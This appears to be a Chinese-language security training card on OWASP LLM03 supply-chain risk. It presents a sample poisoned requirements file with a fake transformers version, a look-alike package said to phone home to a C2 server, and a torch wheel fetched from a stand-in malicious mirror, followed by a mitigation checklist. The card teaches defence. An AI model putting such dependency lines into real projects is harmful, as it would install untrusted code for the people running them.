LLM03 · 供应链 Supply Chain 中危
LLM 应用依赖第三方模型权重、数据集、向量库、插件与 Python 包。下面是一个被投毒的 requirements 片段示例: transformers==4.99.0 # 不存在的版本→typosquatting/依赖混淆 llm-utils-helper # 仿冒包,post-install 脚本回连 C2 torch @ http://mirror.evil.cc/torch.whl # 非官方源
🎯 目标:识别上面 3 处供应链风险点,并说出对应的缓解措施。
缓解措施 Checklist
- ✅ 锁定可信源 + 校验哈希/签名(pip hash、SBOM)
- ✅ 私有镜像仓库 + 依赖审计(防依赖混淆/typosquatting)
- ✅ 模型权重来源可信 + 扫描序列化反序列化(pickle)风险